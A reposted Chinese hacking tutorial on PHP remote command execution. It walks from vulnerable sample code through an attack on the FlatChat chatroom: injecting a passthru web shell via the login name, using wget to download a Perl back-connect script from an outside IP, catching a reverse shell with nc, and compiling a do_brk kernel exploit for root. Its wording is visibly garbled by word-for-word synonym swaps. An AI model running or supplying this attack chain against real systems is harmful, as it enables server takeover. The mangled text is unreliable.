当前位置:七道奇文章资讯安全技术网络技术
日期:2010-09-18 00:37:00  来源:本站整理

PHP漏洞发掘之旅——远程号令履行漏洞[网络技术]

赞助商链接



  本文“PHP漏洞发掘之旅——远程号令履行漏洞[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

文/图 cnbird[H.U.C] 河北泊头杨宁===================================
        不知道大家看了一系列的PHP漏洞发掘文章后,有了多大的进步呢?是不是已经可以独立开始探求漏洞了呢?假如大家有了什么好的发现,一定要奉告我啊,我们一同分享成功的欢愉啊,呵呵.
        废话不多说,直接进入本期的主题,本日给大家讲授的是PHP漏洞中最高级别的漏洞——远程号令履行漏洞.为什么说它高级呢,相信大家看完今后就会懂得了,我们这里还是留一个悬念吧.
底子知识
        远程号令履行漏洞到目前为止仍旧是一种很广泛的漏洞攻击方法,并且现有的网络中大量存在这样的漏洞,利用起来很便利,但是后果倒是很严重的.它可以以启动IIS服务器大概Apache的权限来履行肆意号令,再操纵呼应的本地提权来搞定服务器.相比SQL注入来说,这是一种越发具有杀伤力的漏洞.
        我们还是像从前的PHP漏洞系列文章一样,结合具体的实例讲授,帮忙大家更好的理解.下面我们需求用到2个源程序,第一个是submit.php,主如果用来接纳用户的注释;第二个jieshou.php,主如果用来把从submit.php提交过来的注释写入文件.这2个文件的代码以下.
//Submit.php
<form method="POST" action="jieshou.php">
<textarea rows="10" cols="60"></textarea>
<p><input type="submit" value="Post" ></p>
</form>

//Jieshou.php
<?php
$comments = $_POST['comments'];
$log = fopen('comments.php','a');
fwrite($log, '您提交的内容为::'.$comments);
fclose($log);
?>

submit.php主如果操纵一个form来提交从用户传送过去的内容,jieshou.php主要接纳submit.php传送过来的内容,并且将其写入到文本中.如图1所示,我们已经成功的把内容写入到comments.php里面了.
 
图1
理解了上面的工作原理今后,我们就来说授一下若何操纵这个漏洞吧.从源代码中我们可以理解到,从用户端传送过来的变量都被写入到了comments.php中,那么我们直接把PHP代码写入的话,是不是就成功了呢?在sumbit.php中输入"<?phpinfo()?>"试试吧,然后翻开comments.php,如图2所示,是不是很冲动呢?公然成功履行了.
  
图2

实战
本次的主角是FlatChat,一个简单的基于文本+PHP的聊天室程序.程序很小,但是小并不代表就安全.下面我们从源代码一步一步地解析,然后举行实战,直至最后拿到Root.
存在漏洞代码呈目前index.php文件中,如图3所示,注意划线的部份就是有漏洞代码,从这段代码中我们可以看到提交的$name传送到了startsession.php中.我们看一下startsession.php的内容,如图4所示,是不是跟我们上面讲授的一样?
  
图3
 
图4
下面我们就具体讲授一下若何操纵.这个漏洞是$name,也就是登录聊天室的名字没有过滤而招致的.我们直接在登录页面输入"<?php passthru($_GET[cmd]);?>",如图5所示,然后登录到聊天室里,之后再在地址栏里输入"users.php?cmd=ls%20-la",哈哈,成功了,成功地履行了Linux的号令,如图6所示.接下来的事情就是要得到一个WebShell了.
  
图5
  
图6
我们先看一下Apache以什么权限启动的,不会跟我上次一样又是Root启动的吧?如图7所示,是普通权限的,不要紧,我们还可以持续提权啊.
  
图7
再看看wget号令能不能利用,能利用的话,我们便可以直接把comeback.pl下载到/tmp目录了.具体的号令是"wgethttp://192.168.0.1/comeback.pl -P /tmp",成功履行!用"ls /tmp"看一下是不是已经成功下载了,如图8所示,可以看到已经上传上去了.
  
图8
之后我们在本地用nc监听12345端口,具体的号令是"nc –vv –l –p 12345",持续履行"perl /tmp/comeback.pl 192.168.0.1 12345",便可以成功衔接了,如图9所示.
  
图9
下面我们就要本地提权了,系统的内核版本2.4.20,一个对比老的Redhat 9.0版,不过在实站中也很常见.我们需求操纵的漏洞是do_brk这个本地溢出,操纵这个漏洞可以得到Root权限.这个漏洞的基本原理是,Linux内核包含的do_brk()函数是一个内部内核函数,用于间接调用管理进程的内存堆的增添和缩减(brk),它是一个mmap(2)系统调用的简化版本,只处理匿名映射(如未初始化数据),函数对其参数贫乏精确的边界查抄,可以操纵成立肆意大的虚拟内存区域,超越用户可拜候的内存限制,因此此限制以上的内核内存会变成用户进程的一部份.我们不管这些,把漏洞操纵程序下载回来,用gcc号令将其编译,然后履行编译好的程序,如图10所示,便可以成功地拿到Root了.
  
图10
好了,本次的文章就到这里了,因为近来换了份工作,所以时间非常慌张,行文仓促,若有不足之处请大家多多指导


  以上是“PHP漏洞发掘之旅——远程号令履行漏洞[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
  • PHP漏洞发掘之旅——远程号令履行漏洞
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .